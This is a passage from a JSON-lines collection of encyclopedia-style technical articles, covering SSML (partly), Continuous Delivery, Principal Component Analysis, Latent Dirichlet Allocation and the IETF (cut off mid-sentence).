cases, a dictionary lookup is adequate but when there's ambiguity or non-standard pronunciation, `phoneme` or `say-as` elements can be used. One example is \"read\", which has differing pronunciation based on verb tense. Another example is \"Caius College\", which should be pronounced as \"keys college\". \n\nPhonemes are language dependent. US English typically has 45 phonemes, Hawaiian has 12-18, and some languages may have even 100. \n\nThe `phoneme` element has attribute `alphabet` that must at least support \"ipa\" as value, which refers to **International Phonetic Association (IPA)**. Other alphabets include Speech API Phone Set (SAPI), Universal Phone Set (UPS), , IBM TTS, and Extended Speech Assessment Methods Phonetic Alphabet (X-SAMPA). \n\n\n### Which are the tags defined in SSML?\n\nWithout being exhaustive, we mention a few important ones here. SSML is basically an application of XML. The root of an SSML document is `speak`. Using attributes, we can also specify the namespace and schema. Attribute `xml:lang` specifies the language. \n\nTo load a lexicon from a known URI, we can use `lexicon` element. To translate tokens into phonemes using a specific lexicon, `lookup` element is useful. \n\nThe `say-as` element has `interpret-as` as a mandatory attribute. The standard doesn't specify values for this attribute. Typical implementations include address, cardinal, characters, date, digits, fraction, ordinal, telephone, time, expletive, unit, interjection, etc.\n\nThe `sub` element replaces the contained text with the `alias` attribute value for pronunciation. \n\nWhen we need to specify language for a phrase, we can use `lang` with attribute `xml:lang`. Where applicable, prefer to use the attribute with text structural elements `p`, `s`, `w` and `token`. \n\nElement `phoneme` with attribute `ph` specifies phonemic/phonetic pronunciation. Attribute value doesn't go through text normalization or lexicon lookup. \n\nMany elements control prosody: `voice`, `emphasis`, `break`, `prosody`. Attributes of `prosody` include `pitch`, `contour`, `range`, `rate`, `duration` and `volume`. \n\n\n### Which are some real-world applications that use SSML?\n\nSince 2019, the Guardian has been providing users important news in audio as well. They use of Google's text-to-speech API, to which the input included SSML. They noted that SSML parsing is slow. The API took about 8-10 seconds to generate the audio. Therefore, they opted to serve cached audio rather than just-in-time generation. \n\nIn the UK, NHS is using Amazon Polly to stream synthesized speech through telephone lines. This is a low-cost approach that uses widespread telephone networks to deliver healthcare remotely. A typical response latency of 60ms was observed. They use SSML, although many features are not yet used. \n\nOne blogger has suggested voice-based document reviews during long commutes. A document is converted into multiple MP3 files, each with different voice and cadence. AWS Lambda is used to convert the document to multiple SSML files. Another Lambda call triggers conversion of SSML files to MP3 files. \n\n\n### What tips can you give for content writers and developers working with SSML?\n\nWith SSML, content creators can miss a closing tag or double quotes for element attributes. In the world of HTML, this problem was solved by Markdown syntax. Likewise, a replacement for SSML is **Speech Markdown**. However, we need converters to SSML until synthesizers can natively support Speech Markdown. \n\nAn alternative is to use an SSML editor. Examples are from Verndale, PlayX-team at Swedish Radio and SSML Editor. You could even create your own SSML editor, which is based on Sanity.io and React.js. \n\nContent creators can refer to an Amazon Alexa SSML cheatsheet. YouTube audio library provides more than 5,000 free sounds that we can use in our SSML. \n\nDevelopers can refer to a JavaScript implementation of an SSML parser. The Node.js package ssml-builder allows us to create SSML programmatically using the builder pattern.\n\nAmong the open source speech synthesizers are FreeTTS (Java) and eSpeech (C). There are also commercial text-to-speech engines that support SSML. Cepstral and CereVoice are examples. CereVoice includes Scottish-accented female voice, a vocal gesture library and patented Emotional Synthesis. \n\n\n### What are some criticisms of SSML?\n\nAlthough SSML is a W3C standard, not all its features are being supported by vendors. For example, IBM's text-to-speech service doesn't support or provides only partial support for many SSML elements or attributes. Google Assistant doesn't support the `phoneme` element. \n\nMoreover, each vendor is introducing its own proprietary elements. Amazon Alexa's `amazon:effect` is proprietary. Google Assistant makes use of `par`, `seq` and `media`. These can be used to add background music; or create containers to play media in sequence or in parallel.  Elements `par` and `seq` are part of another W3C standard called *Synchronized Multimedia Integration Language (SMIL)*. \n\nParsing SSML in real time could be slow. For content writers, writing in SSML could be cumbersome and they may prefer Speech Markdown in future. \n\n## Milestones\n\n1995\n\nAmy Isard at the University of Edinburgh completes her thesis on SSML with supervisor Paul Taylor. She describes SSML as an application of SGML. She also presents a prototype implementation that's understood by the CSTR Speech Synthesizer. This implementation includes phrase boundaries, emphasized words, specified pronunciations, and inclusion of other sounds files. The concept of SSML was first introduced by Paul Taylor in 1992. \n\nOct  \n1998\n\nW3C organizes a workshop titled \"Voice Browsers\". The idea is to allow people with telephone connections to access Web content. This leads to the formation of **Voice Browser Working Group (VBWG)** in March 1999. These are the first steps towards the later standardization of SSML and related technologies. \n\n1999\n\nOne study compares many speech synthesizers in the market. Each supports different aspects of prosody. There's no mention of SSML in the report. TrueTalk is said to be using escape sequences, which is very system specific. Since each system uses its own proprietary annotations or escape sequences, such annotated input is not portable. SSML is an attempt to introduce a standard to solve this. \n\nJun  \n2000\n\n**JSpeech Markup Language (JSML)** is published as a W3C Note. It's inspired by Isard's SSML thesis and is derived from Java Speech API Markup Language that was developed at Sun Microsystems in the late 1990s. \n\nDec  \n2003\n\nVersion 1.0 of **SSML** is published as a W3C Candidate Recommendation. A draft of this can be traced to August 2000. \n\nMar  \n2004\n\n**Voice Extensible Markup Language (VoiceXML)** is published as a W3C Recommendation. VoiceXML is designed for \"creating audio dialogs that feature synthesized speech, digitized audio, recognition of spoken and DTMF key input, recording of spoken input, telephony, and mixed initiative conversations\". SSML elements can be used within the `prompt` element of VoiceXML. SSML elements such as `audio` and `say-as` can have additional attributes when used within VoiceXML. \n\nSep  \n2010\n\nVersion 1.1 of **SSML** is published as a W3C Recommendation. Compared to V1.0, this version addresses the needs of many natural languages. \n\nApr  \n2017\n\nAmazon Alexa introduces five new SSML tags: `amazon:effect name=\"whispered\"`, `say-as interpret-as=\"expletive\"`, `sub`, `emphasis` and `prosody`. \n\nMar  \n2018\n\nAmazon Polly, a text-to-speech service, adds SSML **breath feature**. Instead of inserting pauses between words, breath sounds can result in more natural sounding speech. The feature allows for manual, automated and mixed modes of inserting breath.","meta":{"title":"Speech Synthesis Markup Language","href":"speech-synthesis-markup-language"}}
{"text":"# Continuous Delivery\n\n## Summary\n\n\nContinuous Delivery (CD) goes one step further from Continuous Integration (CI). It ensures that every code change is tested and ready for the production environment, after a successful build. CI ensures every code is committed to the main code repository whereas CD ensures the system is in an executable state at all times, after changes to code. \n\nThe primary goal of Continuous Delivery is to make software deployments painless, low-risk events that can be performed at any time, on demand. However, the actual process of automatic deployment in the target customer environment comes under Continuous Deployment (CD). \n\nContinuous Delivery can work only if Continuous Integration is in place. It involves running extensive regression, UI, and performance tests to ensure that the code is production-ready. It's applicable to both bug fixes and new feature releases.\n\n## Discussion\n\n### What's the need for Continuous Delivery?\n\nIn a typical waterfall lifecycle, a customer release (minor or major) is a huge milestone requiring months of effort. The entire team is geared towards this milestone. Features going into the release are managed as a batch – developed, tested and integrated into the main branch. There's a high price to pay for failed releases, high pressure to meet deadlines. Customers also wait for long periods without getting fixes for their issues. There's a significant downtime when the release patch is being applied. \n\nContrast this with the short release lifecycle of Agile model. Here the features can be checked into the main repository as often as every day (Continuous Integration). Automated unit/regression/system test suites ensure the newly committed code is immediately sanctified. Impact on related features is verified. If this code can then be immediately released to customers, then the whole pressure around a customer release is removed. Release becomes a frequent, low risk, automated event. Manual errors in the release process are eliminated. Urgent fixes and patches can be released even during holidays, with minimal staff. This is why Continuous Delivery evolved. \n\n\n### What are the benefits of Continuous Delivery?\n\nCD is impossible without automation of build and test processes. Automation is therefore the first benefit. The entire process gets automated: *code commit → system integration build → unit test → regression test → system test*. This results in several direct and indirect benefits:\n\n    + Smaller maintenance and support teams: Apart from developers, product teams generally maintain several parallel maintenance teams. In the traditional model, each team consisting of build/integration/test members is dedicated to a release version. However, in the automated CD process, these tasks happen without human intervention without compromising product quality.\n    + Reducing risk of failure for customer releases: CD aims to make production changes safe and routine. Deploying to production becomes a boring non-event that can be performed as often as needed. Since the magnitude of code change in each release is very small, risk of failure is also minimised.\n    + Enforces process discipline in the team: Since code is always meant to be production ready, team members are constantly tuning their code, refactoring, reviewing, automating repetitive build tasks, reworking test scripts and getting feature-related documentation done without any delays.\n\n### Can you explain with an example case study?\n\nContinuous Delivery is used to enable online controlled experiments (A/B Testing) at Amazon.\n\nAmazon (Microsoft, Booking.com, Facebook and Google too) conducts more than 10,000 online controlled experiments annually, engaging millions of users. Developing these experimental features doesn't require much effort. They're deployed to gauge customer reaction and measure their effectiveness. \n\nOne such experiment at Amazon revealed that moving credit card offers from its home page to the shopping cart page boosted profits by tens of millions of dollars annually. In fact, Amazon makes changes to production code every 11.6 seconds on average (May 2011). \n\nKen Exner, Director of AWS, Amazon explains the transformational impact of CD, \"One of the main uses of Continuous Delivery is to ensure we are building functionality that really delivers the expected customer value. This approach created hundreds of millions of dollars of value for Amazon, and saved similar amounts through reducing the opportunity cost of building features that were not in fact valuable (even if delivered on time, on budget, and at high quality). This approach depends on the ability to perform extremely frequent releases.\"\n\n\n### How does Continuous Delivery work?\n\nBy the end of Continuous Integration, production code has been committed to version control such as Git, build has been completed and automated unit testing has been performed.\n\nTaking things further in CD, unit tested code is automatically transferred to a test environment and/or a production environment after the build stage. Test driven development is followed - implementing a short test/code cycle, ideally coding a single requirement to pass a single test case. \n\nNext, we execute relevant regression test cases. Validated executables are uploaded to a repository (like GitHub or container registry), ready for deployment to a live production environment by operations team. CI/CD tools like Jenkins are used to perform these pipeline steps.\n\nIn the case of failure at any step, code rollbacks are also automated into this pipeline. This preserves the sanctity of production code. \n\nApproval for deployment is the last step in the task pipeline. To decide whether a feature is ready for deployment, a designated person may approve through a workflow or ticketing system. In the next paradigm of Continuous Deployment, this step is also part of the automated pipeline. \n\n\n### What are the challenging scenarios for implementing Continuous Delivery?\n\nContinuous Delivery is difficult to implement in particular types of projects and scenarios (though benefits are realized once implemented):\n\n    + Open-ended research projects: Since such projects generally deal with new, experimental technologies that may not have a customer identified yet, production code is not meant for customer deployment. Team might still implement Continuous Integration, but may not have a system testing environment yet. CD can be done later in such cases.\n    + Large legacy projects with low test automation: Projects with high level of manual interventions (approval hierarchies, security checklists) built into their system and processes will find it difficult to migrate to the CD paradigm.\n    + System architecture limitations: Large monolithic architectures are difficult to automate, scale or debug. In contrast, products with modular and scalable architecture are conducive to CD. Impacted functions are easy to localise and manage every time there's a code update. Microservices, SOA, web applications are good examples of CD success stories.\n    + Open-source collaborative development: With several peer developers working in parallel, open-source platforms require an equally robust build configuration and test automation team. Otherwise, it becomes difficult to synchronise their work, making implementation of CD difficult.\n\n### What are some best practices for implementing Continuous Delivery?\n\nHere are some CD best practices:   \n\n    + **Version Control**: Your repository be the single source of truth for code, configuration, documentation, and even the database. Avoid local or one-off changes.\n    + **Automation**: Automate processes and tasks for consistency across all environments. Avoid manual intervention.\n    + **Build Once**: Commit build artefacts and reuse them across environments. This saves time and improves consistency.\n    + **Bite-Sized**: Keep commits small since problems are easier to track down and fix.\n    + **Speed**: The CD pipeline must be fast so that it provides quick feedback to developers. Where possible, parallelize tasks.\n    + **Smoke Test**: This isn't full testing but it can be run frequently and quickly. It's designed to quickly detect basic problems.\n    + **Staging**: Deploy and test in an environment that mirrors the production environment.\n    + **Metrics**: Measure and monitor in terms of code coverage, test success rate, support tickets, deployment failures, performance, percentage of code changed, etc.\n\n\n## Milestones\n\n2010\n\nJez Humble and David Farley, employees of Google and ThoughtWorks respectively, release the book titled *Continuous Delivery*. This popularizes the term for the first time. \n\n2014\n\nSeveral traditional companies talk about their DevOps journey and experiences with Continuous Delivery at the DevOps Enterprise Summit 2014 and 2015.  \n\n2015\n\nJez Humble and David Farley start their own company named Continuous Delivery Ltd. It's founded to help organisations achieve their software ambitions, to release world-class software that will delight their users.","meta":{"title":"Continuous Delivery","href":"continuous-delivery"}}
{"text":"# Principal Component Analysis\n\n## Summary\n\n\nBig Data is increasingly becoming the norm and affecting many domains. When there's lots of data involving multiple variables, the work of a data scientist gets difficult. Algorithms will also take longer to complete. Wouldn't it be sensible to identify and consider only those variables that influence the most and discard others?\n\n**Principal Component Analysis (PCA)** extracts the most important information. This in turn leads to compression since the less important information are discarded. With fewer data points to consider, it becomes simpler to describe and analyze the dataset. \n\nPCA can be seen a trade-off between faster computation and less memory consumption versus information loss. It's considered as one of the most useful tools for data analysis.\n\n## Discussion\n\n### Could you explain PCA with a simple example?\n\nWe can describe the shape of a fish with two variables: height and width. However, these two variables are not independent of each other. In fact, they have a strong correlation. Given the height, we can probably estimate the width; and vice versa. Thus, we may say that the shape of a fish can be described with a single component. \n\nThis doesn't mean that we simply ignore either height or width. Instead, we transform our two original variables into two orthogonal (independent) components that give a complete alternative description. The first component (blue line) will explain most of the variation in the data. The second component (dotted line) will explain the remaining variation. Note that both components are derived from both height and width. \n\nMore intuitively, the first component line can be seen as the best-fit line that minimizes information loss. Alternatively, it can also be seen as the line that maximizes the variation; that is, it tries to explain as much of the variation in the dataset as possible. \n\n\n### Could you mention some real-world use cases of PCA?\n\nPCA has been applied for facial recognition. For 90% capture variance, only a third of the components had to be retained. This may be sufficient for Machine Learning applications. The other two-thirds contain most of the image details. \n\nIn another study, the consumption of 17 different food types was studied across 4 countries in the UK. Thus, this problem has 17 features and hence non-trivial to analyze. With PCA, the first component showed that Northern Ireland was unique. People of Northern Ireland consumed fresh potatoes and fresh fruit differently from other populations. \n\nThe lower molar teeth of an ancient mammal named Kuehneotherium was studied in nine variables. PCA showed that just two components are enough to explain over 95% of total variation. When plotted, it was easy to see the clusters and relate them back to the original features. One cluster stood for a species of Kuehneotherium while another broader cluster suggested an unidentified animal. \n\nTo detect lactose in lactose-free milk using NIR spectroscopy, containing 601 dimensions, PCA identified distinct clusters with just two principal components. \n\n\n### Isn't PCA similar to Dimensionality Reduction?\n\nIn a complex data-intensive problem, there are usually many influencing variables. The term *variable* is equivalent to other commonly used terms: *feature* or *dimension*.\n\nThe idea of reducing the number of variables or dimensions is called **Dimensionality Reduction**. This can be done in two ways: \n\n    + **Feature Elimination**: We drop some features that we may consider unimportant. While the approach is simple, we lose useful information present in those dropped features.\n    + **Feature Extraction**: We transform the original set of features into another set of features. The idea is to pack the most important information into as few derived features as possible. We can reduce the number of dimensions by dropping some of the derived features. But we don't lose complete information from the original features: derived features are a linear combination of the original features.PCA is in fact a method for doing feature extraction. In PCA, derived features are also called *composite features* or *principal components*. Moreover, these principal components are linearly independent from one another. \n\n\n### What are advantages of the PCA technique?\n\nPCA minimizes information loss even when fewer principal components are considered for analysis. This is because each principal component is along a direction that maximizes variation, that is, the spread of data. More importantly, the components themselves need not be identified a priori: they are identified by PCA from the dataset. Thus, PCA is an adaptive data analysis technique. In other words, PCA is an unsupervised learning method. \n\nBy reducing the number of dimensions, PCA enables easier data visualization. Visualization helps us to identify clusters, patterns and trends more easily. Fewer dimensions means less computation and lower error rate. PCA reduces noise and makes algorithms work better. \n\nFinding the principal components is really an eigenvalue/eigenvector problem, which has been well studied with lots of algorithms available for practical use.\n\nAlthough Gaussian distribution of data is assumed, as a descriptive tool PCA doesn't need this assumption. It can be used for exploratory analysis on data of any distribution. There are also variations of PCA that cater to different data types and structures. \n\n\n### What are drawbacks of the PCA technique?\n\nHere are some drawbacks of PCA: \n\n    + PCA works only if the observed variables are linearly correlated. If there's no correlation, PCA will fail to capture adequate variance with fewer components.\n    + PCA is lossy. Information is lost when we discard insignificant components.\n    + Scaling of variables can yield different results. Hence, scaling that you use should be documented. Scaling should not be adjusted to match prior knowledge of data.\n    + Since each principal components is a linear combination of the original features, visualizations are not easy to interpret or relate to original features.\n\n\n## Milestones\n\n1850\n\nMid-nineteenth century works by Cauchy and Jacobi in classical analytic geometry show that the equations for the principal axes of quadratic forms and surfaces are known. \n\n1889\n\nFrancis Galton in his *Natural Inheritance* connects principal axes for the first time with the correlation ellipsoid. \n\n1901\n\nKarl Pearson invents PCA while working to find the major and minor axes of an ellipse. However, he does not use the term PCA. In his geometric interpretation of the problem, he's trying to find \"lines and planes of closest fit to systems of\r points in space\". \n\n1930\n\nHarold Hotelling develops PCA independently and names the technique. His approach is what is familiar to us today, using successive orthogonal linear combinations with maximum variance. The 1930s is also the decade when the development of **Factor Analysis** is started. This is closely related to PCA. \n\n1960\n\nAround 1960, Malinowski introduces PCA to chemistry. After 1970, many chemical applications of PCA appear in literature. \n\n1966\n\nHow does one determine how many principal components to retain for analysis? In the context of factor analysis, R.B. Cattell proposes a method called *Scree Test*. A **Scree Plot** is used for this purpose. It represents graphically the eigenvalues or the percentages of total variation accounted for by each principal component.","meta":{"title":"Principal Component Analysis","href":"principal-component-analysis"}}
{"text":"# Latent Dirichlet Allocation\n\n## Summary\n\n\nGiven a document, topic modelling is a task that aims to uncover the most suitable topics or themes that the document is about. It does this by looking at words that most often occur together. For example, a document with high co-occurrence of words 'cats' and 'dogs' is probably about the topic 'Animals', whereas the words 'horses' and 'equestrian' is partly about 'Animals' but more about 'Sports'. **Latent Dirichlet Allocation (LDA)** is a popular technique to do topic modelling. \n\nLDA is based on probability distributions. For each document, it considers a distribution of topics. For each topic, it considers a distribution of words. This information helps LDA discover the topics in a document. \n\nLDA and its many variants support diverse applications. LDA is well-supported in a few programming languages and software packages.\n\n## Discussion\n\n### What are the shortcomings of earlier topic models that LDA aims to solve?\n\nBefore LDA, there were LSA and pLSA models. LSA was simply a dimensionality reduction technique and lacked a strong probabilistic approach. pLSA remedied this by being a probabilistic generative model. It picked a topic with probability *P(z)*. Then it selected the document and the word with probabilities *P(d|z)* and *P(w|z)* respectively. \n\nWhile LSA could model synonymy well, it failed in polysemy. In other words, a word with multiple meanings needed to appear in multiple topics but didn't. pLSA partially handled polysemy. However, pLSA ignored *P(d)*. Each document was a mixture of topics but there was no model to generate this mixture. This made pLSA grow linearly as the corpus size increased, leading to overfitting. Also, pLSA was unable to assign topic probabilities to new documents. \n\nLDA is inspired by pLSA. Like pLSA, it's also a probabilistic generative model. Unlike pLSA, LDA also considers the generation of documents. This is where the **Dirichlet distribution** becomes useful. It determines the topic distribution for each document. \n\n\n### Could you describe some example applications where LDA has been applied?\n\nLDA is an algorithm or method for topic modelling, which has been applied in information retrieval, text mining, social media analysis, and more. In general, topic modelling uncovers hidden structures or topics in documents. \n\nLDA has been applied in diverse tasks: automatic essay grading, anti-phishing, automatic labelling, emotion detection, expert identification, role discovery, sentiment summarization, word sense disambiguation, and more. \n\nFor analysing political texts, LDA-based model was used to find opinions from different viewpoints. In software engineering, LDA was used to find similar code in software repositories and suggest code refactoring. Another study made use of geographic data and GPS-based documents to discover topics. \n\nLDA has been used on online or social media data. By applying it on public tweets or chat data, we can detect and track how topics change over time. We can identify users who follow similar distribution of topics. On Yelp restaurant reviews, LDA was used to do aspect-based opinion mining. LDA was used on a school blog to uncover main topics and who's taking about them. \n\n\n### Why is LDA called a generative model?\n\nIn a **generative model**, observations are generated by latent variables. Given the words of a document, LDA figures out the latent topics. But as a generative model, we can think of LDA as generating the topics and then the words for that document. \n\nIn the figure, we note that \\(\\alpha\\) fixes a particular distribution of topics \\(\\theta\\). There's one such distribution for each document. For a document, when we pick a topic from this distribution, we're faced with word distribution \\(\\beta\\_i\\) for that topic. These word distributions are determined by \\(\\eta\\). From our topic's word distribution, we pick a word. We do this as many times as the document's word count. Thus, the model is generative.\n\n\n### What's the significance Dirichlet priors in LDA?\n\nTopic distribution \\(\\theta\\) and word distribution \\(\\beta\\) are created from \\(\\alpha\\) and \\(\\eta\\) respectively. The latter are called **Dirichlet priors**. A low \\(\\alpha\\) implies a document might have fewer dominant topics. A large \\(\\alpha\\) implies many dominant topics. Similarly, a low (or high) \\(\\eta\\) means a topic has a few (or many) dominant words. \n\nGiven the Dirichlet distribution \\(Dir(\\alpha)\\) we sample a topic distribution for a specific document. Likewise, from \\(Dir(\\eta)\\) we sample a word distribution for a specific topic. In other words, the Dirichlet distribution generates another distribution. For this reason, it's called *distribution over distributions*. \n\nSuppose we have k topics and a vocabulary V. \\(\\alpha\\) will be a vector of length k. \\(\\eta\\) will be a vector of length V. If all elements of the vector have the same value, we call this **symmetric Dirichlet distribution**. It simply means we have no prior knowledge and assume all topics or words are equally likely. In this case, the prior may be expressed as a scalar, called **concentration parameter**. \n\nIn an alternative terminology, \\(\\eta\\) symbol is not used. \\(Dir(\\beta)\\) generates \\(\\phi\\).  \n\n\n### What are the methods of inference and parameter estimation under LDA?\n\nIn LDA, words are observed, topic and word distributions are hidden, and \\(\\alpha\\) and \\(\\eta\\) are the hyperparameters. Thus, we need to infer the distributions and the hyperparameters. In general, this problem is intractable. The two distributions are coupled in the latent topics. \n\nWe note three common techniques for inference and estimation: \n\n    + **Gibbs Sampling**: A method for sampling from a joint distribution when only conditional distributions of topics and words can be efficiently computed.\n    + **Expectation-Maximization (EM)**: Useful for parameter estimation via maximum likelihood.\n    + **Variational Inference**: Coupling between distributions is removed to yield a simplified graphical model with free variational parameters Now we have an optimization problem to find the best variational parameters. *Kullback-Leibler (KL) divergence* between the variational distribution and the true posterior can be used.\n\n### What's the typical pipeline for doing LDA?\n\nThe actual working of LDA is **iterative**. It starts by randomly assigning a topic to each word in each document. Then the topic and word distributions are calculated. These distributions are used in the next iteration to reassign topics. This is repeated until the algorithm converges. Once the distribution is worked out during training, the dominant topics of a test document can be identified by its location in the topic space. \n\nSuppose a document has only a few topics. Suppose a topic has only a few highly likely words. These two goals are at odds with each other. By trading off these two goals, LDA uncovers tightly co-occurring words. \n\n\n### Could you describe some variants of the basic LDA?\n\nWhile LDA looks at co-occurrences of words, some LDA variants include metadata such as research paper authors or citations. Another approach is to look at word sequences with Markov dependencies. For social network analysis, the **Author-Recipient-Topic** model conditions the distribution of topics on the sender and one recipient. \n\nFor applications such as automatic image annotation or text-based image retrieval, **Correspondence LDA** models the joint distribution of images and text, plus the conditional distribution of the annotation given the image. \n\n**Correlated Topic Model** captures correlations among topics. \n\nWord co-occurrence patterns are rarely static. For example, \"dynamic systems\" more recently co-occur with \"graphical models\" more than \"neural networks\". **Topics over Time** models time jointly with word co-occurrences. It uses a continuous distribution over time. \n\nLDA doesn't differentiate between topic words and opinion words. Opinions can also come from different perspectives. **Cross-Perspective Topic** model extends LDA by separating opinion generation from topic generation. Nouns form topics. Adjectives, verbs and adverbs form opinions. \n\nJelodar et al (2018) note many more variants. \n\n\n### What are some resources for working with LDA?\n\nIn Python, *nltk* is useful for general text processing while *gensim* enables LDA. In R, *quanteda* is for quantitative text analysis while *topicmodels* is more specifically for topic modelling. In Java, there's *Mallet*, *TMT* and *Mr.LDA*. \n\nGensim has a useful feature to automatically calculate the optimal asymmetric prior for \\(\\alpha\\) by accounting for how often words co-occur. \n\nLDA is built into Spark MLlib. This can be used via Scala, Java, Python or R. For example, in Python, LDA is available in module `pyspark.ml.clustering`. \n\nThere are plenty of datasets for research into topic modelling. Those labelled with categories or topics may be more useful. Some examples are Reuters-21578, Wiki10+, DBPL Dataset, NIPS Conference Papers 1987-2015, and 20Newgroups. \n\n## Milestones\n\n1990\n\nDeerwester et al. apply Singular Value Decomposition (SVD) to the problem of automatic indexing and information retrieval. SVD brings together terms and documents that are closely related in the \"semantic space\". Their idea of semantics is nothing more than a topic or concept. They call their method **Latent Semantic Indexing (LSI)** or **Latent Semantic Analysis (LSA)**. \n\nAug  \n1999\n\nHofmann presents a statistical analysis of LSA. He coins the term **Probabilistic Latent Semantic Analysis (pLSA)**. It's based on *aspect model*, which is a latent variable model. It associates unobserved class variables (topics) with each observation (words). Unlike LSA, this is a proper generative model. \n\nJan  \n2003\n\nFirst presented at NIPS 2001 conference, Blei et al. describe in detail a probabilistic generative model that they name **Latent Dirichlet Allocation (LDA)**. They note that pLSA lacks a probabilistic model at the document level. LDA overcomes this. Their work uses the bag-of-words model but they note that LDA can be applied for larger units such as n-grams or paragraphs. \n\nJul  \n2003\n\nBlei and Jordan consider the problems of automated image captioning and text-based image retrieval. They study three hierarchical probabilistic mixture models. They arrive at **Correspondence LDA (CorrLDA)** that gives best performance. \n\nDec  \n2009\n\nTypically, symmetric Dirichlet priors are used in LDA. Wallach et al. study the effect of structured priors for topic modelling. They find that **asymmetric Dirichlet priors** over document-topic distributions is much better than symmetric priors. To use asymmetric priors over topic-word distributions has little benefit. The resulting model is less sensitive to number of topics. With hyperparameter optimization, computation can be made practical. Related research with similar results are reported in 2018 by Syed and Spruit. \n\n2016\n\nWord2vec came out in 2013. It's a word embedding that's constructed by predicting neighbouring words given a word. LDA on the other hand looks at words at the document level. Moody proposes **lda2vec** as an approach to capture both local and global information. This combines the power of word2vec and the interpretability of LDA. Word vectors are dense but document vectors are sparse.","meta":{"title":"Latent Dirichlet Allocation","href":"latent-dirichlet-allocation"}}
{"text":"# Internet Engineering Task Force\n\n## Summary\n\n\nThe Internet Engineering Task Force (IETF) can be described \"as a large open international community of network designers, operators, vendors, and researchers concerned with the evolution of the Internet architecture and the smooth operation of the Internet.\" Equivalently, \"IETF is a loosely self-organized group of people who contribute to the engineering and evolution of Internet technologies. It is the principal body engaged in the development of new Internet standard specifications. The IETF is unusual in that it exists as a collection of happenings, but is not a corporation and has no board of directors, no members, and no dues.\" \n\nIETF is driven by individuals, not companies or governments. Although IETF produces standards (and non-standards documents), it's not called a standards body. IETF has been successful due to the openness in its processes.\n\n## Discussion\n\n### Why do we need IETF?\n\nThe Internet is complex: diversity of applications, variety of protocols, multiple vendors, different implementations, massive scale of deployment, worldwide reach across geographies, and so on. If two endpoints on the Internet have to communicate and be understood, they need to talk the same language. IETF fulfils the role of standardizing architecture and protocols for the Internet. This enables things to work together despite the diversity of vendors, implementations and protocols.\n\nThe goal of IETF is to make the Internet work better. It does this by making relevant protocol standards, best current practices and informational documents. \n\n\n### What are cardinal principles that guide IETF?\n\nTo fulfil its mission, IETF follows these principles: \n\n    + Open process: All activities of IETF are open for public participation. All published documents are openly accessible.\n    + Technical competence: Quality is ensured by staying within domains where members have technical competence.\n    + Volunteer core: Work is done on voluntary basis by those who believe in IETF's mission.\n    + Protocol ownership: When IETF takes ownership of a protocol it also becomes responsible for it.\n\n### What does openness mean for IETF?\n\nOpenness within IETF takes three forms: \n\n    + Open standards: Anyone can join mailing lists, Working Groups and attend meetings. Anyone can create and upload a new document. Anyone can suggest modifications to proposals. The process of standardization is open to all without fees or formal membership.\n    + Open documents: All documents are easily and freely accessible on the Internet.\n    + Open source: Working implementations and proven interoperability are important before a proposal becomes a standard. Such implementations are open sourced.While other organizations or standards bodies may be open in terms of publication and ownership, IETF adopts the most open approach that includes development and participation. \n\n\n### Why has IETF been successful so far?\n\nWhen Open Systems Interconnection (OSI) standards were all in rage in the mid-1980s, the Internet and its protocols were part of a government-funded research project. The Internet of the 1980s did not carry much commercial or for-profit traffic. Yet by early 1990s, the Internet model, not the OSI model, became the de facto architecture for the Internet. This, and the Internet's continued success, can be attributed to the open working model and organization of IETF.\n\nBesides openness, IETF takes a bottom-up approach. In other words, people get together to create Working Groups. Neither IAB or IESG create WGs on their own. IETF does not require unanimity. Typically a consensus is achieved if 80-90% of people agree to a proposal. There's no voting but a show of hands may be used. Working implementations that interoperate prove that the proposal works in practice. This forces WGs to simplify protocols and even take out stuff that doesn't work. \n\nDr. David C. Clark of MIT summed it up nicely, \n\n> We reject kings, presidents, and voting. We believe in rough consensus and running code.\n\n\n### Do authors have copyright over the documents they produce?\n\nAll IETF are publicly available on the Internet. They can be downloaded free of cost by anyone. IETF gets a limited copyright to publish and derive from the documents. Once published on IETF, authors cannot withdraw the documents at a later point. All other rights are with authors. \n\n\n### What's the organizational structure within IETF?\n\nClosely associated with IETF are the following:\n\n    + **Internet Society (ISOC)** : IETF by itself is not a legal entity. It can be seen as an organized activity of the Internet Society (ISOC). ISOC provides the legal umbrella for IETF and funds its activities.\n    + **Internet Research Task Force (IRTF)** : While IETF focuses on near term objectives and making standards, its sister organization IRTF looks at longer term research. It's activities are managed by the Internet Research Steering Group (IRSG).\n    + **Internet Architecture Board (IAB)** : IETF and IRTF are overseen by the IAB. IAB focuses on architectural issues and procedural issues. It also manages all external relations. IAB was previously called the Internet Activities Board. It is chartered by ISOC.\n    + **Independent Submissions Editorial Board (ISEB)** : Led by the Independent Submissions Editor (ISE), this board reviews and publishes documents relevant to the Internet but outside the scope of IETF/IRTF/IAB.\n    + **Internet Engineering Steering Group (IESG)** : IESG manages IETF activities and processes. It approves the standards produced by IETF. IAB advises IESG.\n    + **Nominating Committee (NomCom)** : NomCom nominates suitable candidates to serve on IESG and IAB.\n\n### Which external organizations are associated with IETF?\n\nIETF works with other standards bodies because its work often builds upon or interfaces with other standards. For example, IETF cooperates with IANA (Internet numbers), IEEE (Ethernet), ETSI (Cellular Radio), ITU-T (PHY layer standards), ISO/IEC (UTF-16, mime types), W3C (HTML), and more. \n\n\n### How to become a member of IETF?\n\nIETF has no formal membership. Anyone who joins a mailing list or attends an IETF meeting can be called a member. \n\n\n### What are types of documents produced by IETF?\n\nBroadly, documents can be either Internet-Drafts (I-Ds) or RFCs. Internet-Drafts are temporary documents that are valid for six months. Because of their temporary nature, they are not to be cited. Anyone can start such a draft even without a Working Group. They have no formal status until they become adopted by a WG or becomes an RFC. \n\nRFC originally stood for Request for Comments but today (March 2017) a published RFC cannot be modified. An RFC could be supplemented by errata. In fact, Internet-Drafts are more in the spirit of documents requesting comments.\n\nWhen Internet-Drafts become RFCs, they fall into one of these categories: \n\n    + Non-standards documents: Informational, Historic, Experimental.\n    + Standards documents: Proposed Standard or Internet Standard. An intermediate Draft Standard has been discontinued since 2011.\n    + Best Current Practices\n\n### What's the IETF standardization process?\n\nIETF work happens within Working Groups (WGs) that are part of a topical Area. As of March 2017, there were 7 Areas and 100+ WGs. Each Area has a couple of Area Directors (ADs). Each WG will have its set of deliverables clearly defined plus any liaison with other WGs. Except for the annual meetings, WGs do all their work via mailing lists. Documents produced by WGs are reviewed by IESG. RFC Editor publishes the final document.\n\nInternet-Drafts can become Proposed Standard RFCs, where they will remain for at least six months. Interoperatiblity of multiple implementations must be proven at this stage. A last call for comments is put out. Finally, it becomes an Internet Standard RFC. RFCs superseded by newer updates 